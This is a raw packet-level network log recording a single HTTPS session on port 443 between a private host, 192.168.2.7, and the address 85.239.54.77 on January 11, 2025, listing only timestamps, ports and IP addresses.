Jan 11, 2025 09:26:40.508477926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.508539915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.508547068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.508578062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.508591890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.509164095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.509181976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.509217978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.509223938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.509251118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.509275913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.509640932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.509655952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.509684086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.509689093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.509716034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.509742022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.510101080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.510118008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.510163069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.510169029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.510392904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.510849953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.510865927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.510896921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.510902882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.510926008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.510941982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.514816046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.573291063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.573337078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.573373079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.573407888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.573431015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.573458910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.594597101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.594664097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.594803095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.594803095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.594842911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.594867945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.594904900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.594916105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.594928980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.594944000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.594976902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.594985008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.595005035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.595036030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.595509052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.595561028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.595596075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.595603943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.595630884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.595652103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.596131086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.596182108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.596214056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.596223116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.596246004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.596267939 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.596952915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.596992970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.597023010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.597029924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.597057104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.597079039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.597094059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.597138882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.597157955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.597167969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.597184896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.597203016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.597697020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.597724915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.597764015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.597773075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.597858906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.597858906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.602194071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.660460949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.660501957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.660629988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.660666943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.666594982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.681057930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.681101084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.681133032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.681143045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.681170940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.681191921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.681464911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.681504965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.681531906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.681539059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.681566954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.681577921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682063103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682105064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682137012 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682143927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682167053 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682184935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682524920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682568073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682595968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682602882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682646036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682821035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682859898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682869911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682871103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682900906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.682928085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.682950974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.683342934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.683382988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.683413029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.683419943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.683432102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.683449984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.683748007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.683789015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.683816910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.683824062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.683846951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.683864117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.688621044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.747365952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.747472048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.747571945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.747611046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.747646093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.747672081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.767663956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.767688990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.767781973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.767807961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.768064022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.768090010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.768151999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.768162966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.768189907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.768207073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.768661976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.768692017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.768759012 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.768767118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.768786907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.768807888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.769145012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.769165039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.769201994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.769210100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.769238949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.769287109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.769684076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.769711018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.769752026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.769761086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.769785881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.769802094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.770200968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.770221949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.770265102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.770272017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.770298004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.770313025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.770320892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.770349026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.770373106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.770380974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.770402908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.770421982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.775346041 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.833961964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.834005117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.834053040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.834089041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.834110022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.834584951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.854546070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.854576111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.854619026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.854654074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.854670048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.854706049 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.854877949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.854897976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.854928017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.854937077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.854958057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.854978085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.855490923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.855511904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.855561018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.855567932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.855592012 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.855606079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.855807066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.855825901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.855850935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.855859041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.855882883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.855897903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.856695890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.856715918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.856765985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.856766939 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.856782913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.856802940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.856812954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.856822014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.856833935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.856858015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.856875896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.857377052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.857397079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.857436895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.857443094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.857472897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.857517958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.862811089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.920945883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.921017885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.921061993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.921097994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.921122074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.921139956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.941514969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.941545963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.941670895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.941711903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.942040920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.942065001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.942153931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.942166090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.942415953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.942431927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.942503929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.942514896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.942553997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.942980051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.942997932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.943058968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.943068981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.943541050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.943561077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.943610907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.943622112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.943645954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.943684101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.944061995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.944084883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.944164991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.944174051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.946603060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.950776100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.958234072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.958255053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.958364964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.958393097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.958435059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.027803898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.027827024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.027971029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.028006077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.028119087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.028140068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.028175116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.028187990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.028208017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.028239965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.028789997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.028805017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.028897047 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.028914928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.029202938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.029222012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.029259920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.029273033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.029298067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.029329062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.029647112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.029661894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.029702902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.029715061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.029732943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.029753923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.030168056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.030181885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.030242920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.030257940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.030555964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.030953884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.030968904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.031022072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.031038046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.033577919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.037221909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.045104027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.045147896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.045212030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.045241117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.045269012 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.045291901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.051707983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.118532896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.118551016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.118675947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.118715048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.118860960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.118879080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.118930101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.118937969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.118953943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.118974924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.119280100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.119292974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.119338989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.119348049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.119370937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.119390011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.119937897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.119955063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120007038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.120014906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120348930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120367050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120402098 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.120409012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120434046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.120469093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.120471001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120486021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120502949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120527029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.120534897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.120547056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.120569944 CET	49941	443	192.168.2.7	85.239.54.77
